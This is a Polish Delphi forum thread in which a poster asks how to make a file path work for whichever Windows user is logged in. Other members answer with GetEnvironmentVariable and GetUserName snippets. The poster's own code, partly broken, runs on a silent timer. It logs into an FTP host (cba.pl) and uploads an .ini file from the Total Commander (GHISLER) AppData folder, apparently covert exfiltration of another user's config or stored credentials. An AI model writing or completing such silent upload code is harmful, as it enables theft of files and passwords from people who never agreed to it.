Komenda aktywny użytkownik [pilne!]

Witam wszystkich.
Chciałbym dowiedzieć się jaka jest komenda na aktywnego użytkownika.
Np. Na dysk systemowy jest %windir% no to jak będzie w takiej ścieżce?

FileExists('%windir%\Users\aktywny_użytkownik\desktop\nazwa_pliku')
Jak zmienić "aktywny_użytkownik" na jakieś sensowne konto, które jest aktualnie aktywne?

http://en.wikipedia.org/wiki/Environment_variable tu masz wszystko opisane

I ewentualnie pierwsza pozycja w http://tinyurl.com/4omrqva

Ok, dzięki ;)
Szukałem w google, tylko, że pod złym hasłem ;P.

No tak... Tylko, że nie działa.

Wpisałem

idftp1.Put('C:\%HOMEPATH%\AppData\Roaming\GHISLER\plik.rozszerzenie','plik.rozszerzenie', true);

i nie wysyła, a tak

idftp1.Put('C:\Kuba\AppData\Roaming\GHISLER\plik.rozszerzenie','plik.rozszerzenie', true);

działa... Proszę o pomoc!

GetEnvironmentVariable()

Kur... No sorry chłopaki, ale nie wiem jak to tam wstawić...
Zamieszczę kawałek kodu.
Po prostu chciałbym, aby program był uniwersalny, a nie tylko na użytkownika "Kuba". Próbuję, próbuję, ale się nie da ;P

  uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls, IdSocks, ExtCtrls, shellapi;

type
  TForm1 = class(TForm)
    IdFTP1: TIdFTP;
    IdSocksInfo1: TIdSocksInfo;
    Timer1: TTimer;

    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm;



implementation

{$R *.dfm}





procedure TForm1.Timer1Timer(Sender: TObject);
begin

Timer1.Enabled:=false;
idftp1.Password:='********** ;P';
idftp1.Username:='**********';
idftp1.Host:='*****';
idftp1.Connect(true,-1);



if FileExists ('C:\Users\Kuba\AppData\Roaming\GHISLER\plik.ini') then
idftp1.Put('C:\Users\Kuba\AppData\Roaming\GHISLER\plik.ini','plik.ini', true);

 

du*a tam sie nie da.... pokaz jak probujesz to zrobic z uzyciem GetEnvironmentVariable()

Ale kombinujecie...

{Jak odczytać nazwę zalogowanego użytkownika? }
function GetLoginName: string;
var
 lBuffer: array [0..128] of Char;
 lSize: DWORD;
begin
 lSize := SizeOf(lBuffer);
 if GetUserName(lBuffer, lSize) then Result := Trim(lBuffer)
 else Result := '';
end;

{lub}
function PobierzNazweUzytkow: string;
const
 cnMaxNameLen = 254;
var
 sName: string;
 dwNameLen: DWORD;
begin
 dwNameLen := cnMaxNameLen - 1;
 SetLength(sName, cnMaxNameLen);
 GetUserName(PChar(sName), dwNameLen);
 SetLength(sName, dwNameLen);
 Result := sName;
end;

 unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls, IdSocks, ExtCtrls, ShellApi;

type
  TForm1 = class(TForm)
    IdFTP1: TIdFTP;
    IdSocksInfo1: TIdSocksInfo;
    Timer1: TTimer;

    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm;
  sciezka: pchar;

implementation

{$R *.dfm}





procedure TForm1.Timer1Timer(Sender: TObject);
begin

getenvironmentvariable('USERPROFILE',sciezka,255);

Timer1.Enabled:=false;
idftp1.Password:='*************';
idftp1.Username:='*************'';
idftp1.Host:='cba.pl';
idftp1.Connect(true,-1);



if FileExists('C:\WINDOWS\plik.ini') then
idftp1.Put('C:\WINDOWS\plik.ini','plik.ini', true)

else if FileExists ('C:\'sciezka'\AppData\Roaming\GHISLER\plik.ini') then
idftp1.Put('C:\'sciezka'\AppData\Roaming\GHISLER\plik.ini','plik.ini', true);

Wiem, że wypisałem tam głupoty, ale już na serio nie mam pomysłów.
Jak dwie linijki, to czemu nie napisałeś?

przykłady użycia GetEnvironmentVariable

var
  buf: array [0..MAX_PATH] of Char;
begin
  GetEnvironmentVariable('USERNAME', buf, SizeOf(buf));
  ShowMessage(buf);
  GetEnvironmentVariable('USERPROFILE', buf, SizeOf(buf));
  ShowMessage(buf);
  //itd...
end;

Ok, dzięki - to się na pewno przyda. Sprawdzę potem, bo teraz nie mam jak ;)
A jak dodać zmienną do ścieżki?

C:\Users\'zmienna'

czy jakoś inaczej?

//...
var
  Zmienna : string;
begin
  Zmienna := 'Takie banały to w dziale Newbie!';
  Caption := 'C:\NIE_UCZYSZ_SIE_PODSTAW\' + Zmienna;
//...
end;

A może tak:

 FileExists('%windir%\Users\aktywny_użytkownik\desktop\nazwa_pliku')  

Sorry, tak:

 FileExists('%userprofile%\AppData\Local\Temp') 

Nie działa... Może ktoś po prostu edytować moje źródełko, sprawdzić i wkleić?
Bo posty typu "Jaki żal, on nie wie" są bezsensowne i niepotrzebne.

Nie jest tak, że nie uczę się podstaw xd.
Umiałem delphi, pisałem fajne programy, ale to było 2 lata temu i dużo pozapominałem..

cubus95: czegoś nie wiesz czy nie pamiętasz to się googluje, co Tobie ludzie mają innego napisać, a
ja podałem Tobie przykład jak dodać zmienną do innego stringa. Jeżeli natomiast nie wiesz jak działa
funkcja FileExists czy jakaś inna to tak jak pisałem, googlujesz albo wciskasz F1 po zaznaczeniu jej.
Z czym dalej masz problem? Pewnie nawet nie spojrzaleś, że ścieżki są zwracane bez "" na końcu.

//...
function AddBackSlash(Path : string) : string;
begin
  Result := '';
  if Path = '' then
  begin
    Exit;
  end;
  if Path[Length(Path)] <> '\' then
  begin
    Result := Path + '\'
  end
  else
  begin
    Result := Path;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Buf : array [0..MAX_PATH] of Char;
begin
  GetEnvironmentVariable('WINDIR', Buf, SizeOf(Buf));
  if FileExists(AddBackSlash(Buf) + 'win.ini') = True then
  begin
    ShowMessage('Plik win.ini w %WINDIR% istnieje, a Ty się ucz podstaw!');
  end
  else
  begin
    ShowMessage('Plik win.ini w %WINDIR% NIE istnieje, ale i tak się ucz podstaw!');
  end;
end;

O to chodzi?